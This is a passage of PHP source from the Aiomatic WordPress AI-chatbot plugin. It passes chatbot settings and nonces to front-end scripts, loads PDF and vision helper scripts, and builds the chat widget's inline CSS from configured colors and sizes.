$response_delay = trim($aiomatic_Chatbot_Settings['response_delay']); } $custom_vars = array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'stream_url' => $stream_url, 'model_type' => $model_type, 'model' => $model, 'temp' => $temp, 'top_p' => $top_p, 'presence' => $presence, 'frequency' => $frequency, 'instant_response' => $instant_response, 'chat_preppend_text' => $chat_preppend_text, 'user_message_preppend' => $user_message_preppend, 'ai_message_preppend' => $ai_message_preppend, 'user_token_cap_per_day' => $user_token_cap_per_day, 'user_id' => $user_id, 'persistent' => $persistent, 'persistentnonce' => wp_create_nonce('openai-persistent-nonce'), 'moderation_nonce' => wp_create_nonce('openai-moderation-nonce'), 'enable_moderation' => $enable_moderation, 'moderation_model' => $moderation_model, 'flagged_message' => $flagged_message, 'enable_copy' => $enable_copy, 'scroll_bot' => $scroll_bot, 'text_speech' => $chatbot_text_speech, 'free_voice' => $free_voice, 'max_messages' => $max_messages, 'max_message_context' => $max_message_context, 'no_empty' => $no_empty, 'overwrite_voice' => $overwrite_voice, 'chatid' => $chatid, 'did_image' => $did_image, 'did_voice' => $did_voice, 'did_app_id' => $did_app_id, 'threadid' => $thread_id, 'pdf_ok' => $pdf_ok, 'pdf_end' => $pdf_end, 'pdf_fail' => $pdf_fail, 'enable_god_mode' => $enable_god_mode, 'is_modern_gpt' => $is_modern_gpt, 'voice_color' => $voice_color, 'voice_color_activated' => $voice_color_activated, 'chat_download_format' => $chat_download_format, 'internet_access' => $internet_access, 'embeddings' => $embeddings, 'autoload' => $autoload, 'auto_submit_voice' => $auto_submit_voice, 'send_message_sound' => $send_message_sound, 'receive_message_sound' => $receive_message_sound, 'response_delay' => $response_delay, 'bubble_alignment' => $bubble_alignment, 'bubble_user_alignment' => $bubble_user_alignment, 'avatar_url_user' => $avatar_url_user, 'avatar_url' => $avatar_url, 'show_user_avatar' => $show_user_avatar, 'show_ai_avatar' => $show_ai_avatar ); wp_localize_script($name . 'openai-chat-ajax', 'aiomatic_chat_ajax_object' . $chatid, $custom_vars); if($chat_download_format == 'pdf') { wp_enqueue_script($name . 'pdf-downloader', 'https://cdnjs.cloudflare.com/ajax/libs/jspdf/2.5.1/jspdf.umd.min.js', array(), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . 'html-canvas', 'https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js', array(), AIOMATIC_MAJOR_VERSION); } if(($enable_vision == 'on' || $enable_vision == 'yes' || $enable_vision == '1' || $enable_vision == 'enable' || $enable_vision == 'enabled') && aiomatic_is_vision_model($model, $assistant_id)) { $bg_color = '#6077e6'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $bg_color = $aiomatic_Chatbot_Settings['submit_color']; } wp_enqueue_script($name . 'openai-vision', plugins_url('scripts/openai-vision.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_localize_script($name . 'openai-vision', 'aiomatic_vision_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'chatid' => $chatid, 'bg_color' => $bg_color )); } wp_enqueue_style($name . 'css-ai-front', plugins_url('styles/form-front.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); $css_added = false; $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden}.image_max_w_ai{width:100%;max-width:100%;}.aiomatic_chat_history{'; if (isset($aiomatic_Chatbot_Settings['font_size']) && $aiomatic_Chatbot_Settings['font_size'] != '') { $reg_css_code .= 'font-size:' . $aiomatic_Chatbot_Settings['font_size'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['height']) && $aiomatic_Chatbot_Settings['height'] != '') { $reg_css_code .= 'height:' . $aiomatic_Chatbot_Settings['height'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['background']) && $aiomatic_Chatbot_Settings['background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['minheight']) && $aiomatic_Chatbot_Settings['minheight'] != '') { $reg_css_code .= 'min-height:' . $aiomatic_Chatbot_Settings['minheight'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '.aiomatic_chat_history_log{'; if (isset($aiomatic_Chatbot_Settings['font_size']) && $aiomatic_Chatbot_Settings['font_size'] != '') { $reg_css_code .= 'font-size:' . $aiomatic_Chatbot_Settings['font_size'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['height']) && $aiomatic_Chatbot_Settings['height'] != '') { $reg_css_code .= 'height:' . $aiomatic_Chatbot_Settings['height'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['background']) && $aiomatic_Chatbot_Settings['background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['minheight']) && $aiomatic_Chatbot_Settings['minheight'] != '') { $reg_css_code .= 'min-height:' . $aiomatic_Chatbot_Settings['minheight'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $all_ok = true; if ($upload_pdf == 'on' || $upload_pdf == 'enabled' || $upload_pdf == 'yes' || $upload_pdf == '1' || (isset($aiomatic_Chatbot_Settings['upload_pdf']) && $aiomatic_Chatbot_Settings['upload_pdf'] == 'on' && $upload_pdf != 'disabled' && $upload_pdf != 'no' && $upload_pdf != '0' && $upload_pdf != 'off')) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { $all_ok = false; } if (isset($aiomatic_Main_Settings['pinecone_app_id'])) { $pinecone_app_id = $aiomatic_Main_Settings['pinecone_app_id']; } else { $pinecone_app_id = ''; } if (isset($aiomatic_Main_Settings['qdrant_app_id'])) { $qdrant_app_id = $aiomatic_Main_Settings['qdrant_app_id']; } else { $qdrant_app_id = ''; } if($pinecone_app_id == '' && $qdrant_app_id == '') { $all_ok = false; } if (!isset($aiomatic_Main_Settings['embeddings_chat_short']) || trim($aiomatic_Main_Settings['embeddings_chat_short']) != 'on') { $all_ok = false; } } else { $all_ok = false; } $reg_css_code .= '#openai-ai-chat-form-' . $chatid . ' { padding-right: 20px; padding-left: 20px; } .openai-mr-4 { margin-right: 1rem ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . ' } .openai-relative { position: relative; } .openai-chat-avatar { border-radius: 50%; height: 44px; width: 44px; clear: both; display: block; background: #E1F0FF; position: relative; } .openai-font-weight-bold { font-weight: bold ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . ' } .openai-widget-user-name { line-height: 1.8; } .ai-export-txt { cursor: pointer; padding-left:10px; } .ai-clear-chat { cursor: pointer; padding-left:10px; } .openai-text-right { display: flex; text-align: right; margin-left: auto; margin-right: 10px } .openai-d-flex { display: flex; } .openai-card-header{'; if (isset($aiomatic_Chatbot_Settings['width']) && $aiomatic_Chatbot_Settings['width'] != '') { $reg_css_code .= 'width:' . $aiomatic_Chatbot_Settings['width'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'max-width:' . $aiomatic_Chatbot_Settings['width'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= ' margin: 0 auto; position: absolute; left: 0px; padding: 3px; border-radius: 0 50px 50px 0; height: 20px; background: transparent; padding-top: 10px; display: flex; min-height: 3.5rem; align-items: center; margin-bottom: 0; position: relative; } #openai-chat-response' . $chatid . ' { padding-bottom: 5px; text-align:center;'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'color:#55a7e2' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= '} .openai-file-document {'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'color:#55a7e2' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' cursor: pointer; box-sizing: border-box; position: relative; display: block; transform: scale(var(--ggs,1)); width: 14px; height: 16px; border: 2px solid transparent; border-right: 0; border-top: 0; box-shadow: 0 0 0 1.3px; border-radius: 1px; border-top-right-radius: 4px; overflow: hidden; transition: transform 0.2s ease, box-shadow 0.2s ease, background-color 0.2s ease; } .openai-file-document::after, .openai-file-document::before { content: ""; display: block; box-sizing: border-box; position: absolute; } .openai-file-document::before { background: currentColor; box-shadow: 0 4px 0, -6px -4px 0; left: 0; width: 10px; height: 2px; top: 8px; } .openai-file-document::after { width: 6px; height: 6px; border-left: 2px solid; border-bottom: 2px solid; right: -1px; top: -1px; } .openai-file-document:hover { transform: scale(1.1); '; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['submit_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'background-color:#f0f0f0' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' color: #333; } .aiomatic-vision-image { max-width:300px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . ' max-height:300px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . ' display:block' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . ' } .aiomatic-pdf-image { user-select: none; position: absolute; display: block; transform: scale(var(--ggs,1)); width: 25px; overflow: hidden; border-radius: 2px; cursor: pointer;'; if(($enable_vision == 'on' || $enable_vision == 'yes' || $enable_vision == '1' || $enable_vision == 'enable' || $enable_vision == 'enabled') && aiomatic_is_vision_model($model, $assistant_id)) { $reg_css_code .= 'right: 36px;'; } else { $reg_css_code .= 'right: 10px;'; } $reg_css_code .= 'top: 53%; transform: translateY(-50%); cursor: pointer; color: white;'; if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'color:#ffffff' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= '} .aiomatic-file-image { user-select: none; position: absolute; display: block; transform: scale(var(--ggs,1)); width: 25px; overflow: hidden; border-radius: 2px; cursor: pointer;'; if(($enable_vision == 'on' || $enable_vision == 'yes' || $enable_vision == '1' || $enable_vision == 'enable' || $enable_vision == 'enabled') && aiomatic_is_vision_model($model, $assistant_id)) { if($all_ok) { $reg_css_code .= 'right: 62px;'; } else { $reg_css_code .= 'right: 36px;'; } } else { if($all_ok) { $reg_css_code .= 'right: 36px;'; } else { $reg_css_code .= 'right: 10px;'; } } $reg_css_code .= 'top: 53%; transform: translateY(-50%); cursor: pointer; color: white;'; if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'color:#ffffff' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= '} .cr_none { display:none; } .aiomatic-stop-image { user-select: none; position: absolute; transform: scale(var(--ggs,1)); width: 25px; overflow: hidden; border-radius: 2px; cursor: pointer;'; $enable_file_uploads = false; if (isset($aiomatic_Chatbot_Settings['enable_file_uploads']) && $aiomatic_Chatbot_Settings['enable_file_uploads'] != '' && $file_uploads == '') { $file_uploads = $aiomatic_Chatbot_Settings['enable_file_uploads']; } if(!empty($assistant_id) && ($file_uploads == 'on' || $file_uploads == 'yes' || $file_uploads == '1' || $file_uploads == 'enable' || $file_uploads == 'enabled')) { $is_file_search = get_post_meta($assistant_id, '_assistant_tools', true); if(is_array($is_file_search)) { foreach($is_file_search as $isfs) { if($isfs['type'] == 'file_search') { $enable_file_uploads = true; break; } } } } if(($enable_vision == 'on' || $enable_vision == 'yes' || $enable_vision == '1' || $enable_vision == 'enable' || $enable_vision == 'enabled') && aiomatic_is_vision_model($model, $assistant_id)) { if($all_ok) { if($enable_file_uploads) { $reg_css_code .= 'right: 88px;'; } else { $reg_css_code .= 'right: 62px;'; } } else { if($enable_file_uploads) { $reg_css_code .= 'right: 62px;'; } else { $reg_css_code .= 'right: 36px;'; } } } else { if($all_ok) { if($enable_file_uploads) { $reg_css_code .= 'right: 62px;'; } else { $reg_css_code .= 'right: 36px;'; } } else { if($enable_file_uploads) { $reg_css_code .= 'right: 36px;'; } else { $reg_css_code .= 'right: 10px;'; } } } $reg_css_code .= 'top: 53%; transform: translateY(-50%); cursor: pointer; color: white;'; if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'color:#ffffff' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= '} .aiomatic-gg-image { box-sizing: border-box; position: absolute; display: block; transform: scale(var(--ggs,1)); width: 20px; height: 16px; overflow: hidden; box-shadow: 0 0 0 2px; border-radius: 2px; cursor: pointer; right: 10px; top: 50%; transform: translateY(-50%); padding: 10px; cursor: pointer; color: white;'; if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'color:#ffffff' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= '} .aiomatic-gg-image::after, .aiomatic-gg-image::before { content: ""; display: block; box-sizing: border-box; position: absolute; border: 2px solid } .aiomatic-gg-image::after { transform: rotate(45deg); border-radius: 3px; width: 16px; height: 16px; top: 9px; left: 6px } .aiomatic-gg-image::before { width: 6px; height: 6px; border-radius: 100%; top: 2px; left: 2px } .aiomatic-gg-unmute { cursor: pointer; margin-left:10px; top: -1px; right: -3px; height: 20px; width: 20px; position: relative; overflow: hidden; display: inline-block; i { display: block; width: 5.33px; height: 5.33px;'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'background:#55a7e2' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' margin: 7px 0 0 1.33px; } i:after { content: ""; position: absolute; width: 0; height: 0; border-style: solid;'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'border-color: transparent' . $aiomatic_Chatbot_Settings['submit_color'] . ' transparent transparent ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'border-color:transparent #55a7e2 transparent transparent ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' border-width: 6.67px 9.33px 6.67px 10px; left: -8.67px; top: 3.33px; } } .aiomatic-gg-globe, .aiomatic-gg-globe::after, .aiomatic-gg-globe::before { display: block; box-sizing: border-box; height: 18px; border: 2px solid '; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= $aiomatic_Chatbot_Settings['submit_color'] . ';'; } else { $reg_css_code .= '#55a7e2;'; } $reg_css_code .= ' } .aiomatic-cursor { cursor: pointer; } .aiomatic-left-padding { padding-left: 10px; } .aiomatic-gg-globe { top:-1px; position: relative; transform: scale(var(--ggs,1)); width: 18px; border-radius: 22px; } .aiomatic-gg-globe::after, .aiomatic-gg-globe::before { content: ""; position: absolute; width: 8px; border-radius: 100%; top: -2px; left: 3px; } .aiomatic-gg-globe::after { width: 24px; height: 20px; border: 2px solid transparent; border-bottom: 2px solid '; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= $aiomatic_Chatbot_Settings['submit_color'] . ';'; } else { $reg_css_code .= '#55a7e2;'; } $reg_css_code .= ' top: -11px; left: -5px; } .aiomatic-gg-globe:hover { transform: scale(1.1); box-shadow: 0 0 10px rgba(0, 0, 0, 0.4); } .aiomatic-globe-bar { position: absolute; width: 22px; height: 2px; background: '; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= $aiomatic_Chatbot_Settings['submit_color'] . ';'; } else { $reg_css_code .= '#55a7e2;'; } $reg_css_code .= ' top: 50%; left: 50%; transform: translate(-50%, -50%) rotate(45deg); } .aiomatic-gg-mute { margin-left:10px; cursor: pointer; top: -1px; right: -3px; height: 20px; width: 20px; position: relative; overflow: hidden; display: inline-block; i { display: block; width: 5.33px; height: 5.33px;'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'background:#55a7e2' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' margin: 7px 0 0 1.33px; } i:after { content: ""; position: absolute; width: 0; height: 0; border-style: solid;'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'border-color: transparent' . $aiomatic_Chatbot_Settings['submit_color'] . ' transparent transparent ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'border-color:transparent #55a7e2 transparent transparent ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' border-width: 6.67px 9.33px 6.67px 10px; left: -8.67px; top: 3.33px; } i:before { transform: rotate(45deg); border-radius: 0 33.33px 0 0; content: ""; position: absolute; width: 3.33px; height: 3.33px; border-style: double;'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'border-color:#55a7e2' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' border-width: 4.67px 4.67px 0 0; left: 12px; top: 6px; transition: all 0.2s ease-out; } } .aiomatic-gg-mute:hover { i:before { transform: scale(.8) translate(-3px, 0) rotate(42deg); } } .aiomatic-gg-trash {'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'color:#55a7e2' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $reg_css_code .= ' box-sizing: border-box; position: relative; display: block; transform: scale(var(--ggs,1)); width: 10px; height: 12px; border: 2px solid transparent; box-shadow: 0 0 0 1px, inset -2px 0 0, inset 2px 0 0; border-bottom-left-radius: 1px; border-bottom-right-radius: 1px; margin-top: 4px } .aiomatic-gg-trash::after, .aiomatic-gg-trash::before { content: ""; display: block; box-sizing: border-box; position: absolute } .aiomatic-gg-trash::after { background: currentColor; border-radius: 3px; width: 16px; height: 2px; top: -4px; left: -5px } .aiomatic-gg-trash::before { width: 10px; height: 4px; border: 2px solid; border-bottom: transparent; border-top-left-radius: 2px; border-top-right-radius: 2px; top: -7px; left: -2px } .aiomatic-gg-trash:hover { transform: scale(1.1); '; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['submit_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } else { $reg_css_code .= 'background-color:#f0f0f0' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); } $loader_color = '#fff'; if (isset($aiomatic_Chatbot_Settings['persona_name_color']) && $aiomatic_Chatbot_Settings['persona_name_color'] != '') { $loader_color = $aiomatic_Chatbot_Settings['persona_name_color']; } $reg_css_code .= ' } .aiomatic-loading-indicator { position: absolute; top: 5px; left: 0; width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; z-index: 10; } .aiomatic-loading-indicator::before { content: \'\'; box-sizing: border-box; width: 50px; height: 50px; border-radius: 50%; border-top: 3px solid ' . $loader_color. '; border-right: 3px solid transparent; animation: keysspin 1s linear infinite; } @keyframes keysspin { to { transform: rotate(360deg); } } #aiomatic-video-wrapper' . $chatid . ' { position: relative; padding-top: 10px; } .aiomatic-hide {display:none!important;}'; $reg_css_code .= '.openai-ai-form{ border-radius: 30px;'; if($general_background != '') { $reg_css_code .= 'background-color:' . $general_background . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } else { if (isset($aiomatic_Chatbot_Settings['general_background']) && $aiomatic_Chatbot_Settings['general_background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['general_background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } } if (isset($aiomatic_Chatbot_Settings['width']) && $aiomatic_Chatbot_Settings['width'] != '') { $reg_css_code .= 'width:' . $aiomatic_Chatbot_Settings['width'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; if($bubble_width == 'full' || empty($bubble_width)) { $reg_css_code .= '.ai-bubble{width:100%!important;}'; $css_added = true; } elseif($bubble_width == 'auto') { $reg_css_code .= '.ai-bubble{width:auto!important;}'; $css_added = true; } if($bubble_alignment == 'left' || empty($bubble_alignment)) { $reg_css_code .= '.ai-bubble.ai-other{margin-left:unset!important;margin-right:auto!important;}'; $css_added = true; } elseif($bubble_alignment == 'right') { $reg_css_code .= '.ai-bubble.ai-other{margin-right:unset!important;margin-left:auto!important;}'; $css_added = true; } elseif($bubble_alignment == 'center') { $reg_css_code .= '.ai-bubble.ai-other{margin-left:auto!important;margin-right:auto!important;}'; $css_added = true; } if($bubble_user_alignment == 'left') { $reg_css_code .= '.ai-bubble.ai-mine{margin-left:unset!important;margin-right:auto!important;}'; $css_added = true; } elseif($bubble_user_alignment == 'right' || empty($bubble_user_alignment)) { $reg_css_code .= '.ai-bubble.ai-mine{margin-right:unset!important;margin-left:auto!important;}'; $css_added = true; } elseif($bubble_user_alignment == 'center') { $reg_css_code .= '.ai-bubble.ai-mine{margin-left:auto!important;margin-right:auto!important;}'; $css_added = true; } $reg_css_code .= '.ai-mine{'; if (isset($aiomatic_Chatbot_Settings['user_font_color']) && $aiomatic_Chatbot_Settings['user_font_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['user_font_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['user_background_color']) && $aiomatic_Chatbot_Settings['user_background_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['user_background_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; if(!empty($avatar_url)) { $reg_css_code .= '.ai-avatar.ai-other { background-image: url("' . esc_url($avatar_url) . '"); background-size: cover; background-position: center; margin-left: 3px; margin-right: 3px; }'; $css_added = true; } if(!empty($avatar_url_user)) { $reg_css_code .= '.ai-avatar.ai-mine { background-image: url("' . esc_url($avatar_url_user) . '"); background-size: cover; background-position: center; margin-left: 3px; margin-right: 3px; }'; $css_added = true; } $reg_css_code .= '.ai-other{'; if (isset($aiomatic_Chatbot_Settings['ai_font_color']) && $aiomatic_Chatbot_Settings['ai_font_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['ai_font_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['ai_background_color']) && $aiomatic_Chatbot_Settings['ai_background_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['ai_background_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $go_color = $aiomatic_Chatbot_Settings['input_text_color']; } else { $go_color = '#ffffff'; } $reg_css_code .= '} .aiomatic-pdf-loading, .aiomatic-file-loading{ border: 2px solid ' . $go_color . '; border-bottom-color: transparent; border-radius: 50%; box-sizing: border-box; animation: aiomatic_rotation 1s linear infinite; display: inline-block; width: 18px; height: 18px; } @keyframes aiomatic_rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .aiomatic-pdf-remove, .aiomatic-file-remove{ font-size: 30px; justify-content: center; align-items: center; width: 18px; height: 18px; line-height: unset; font-family: Arial, serif; border-radius: 50%; font-weight: normal; padding: 0; margin: 0; }'; $reg_css_code .= '#aiomatic_chat_input' . $chatid . '{min-height:62px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); if 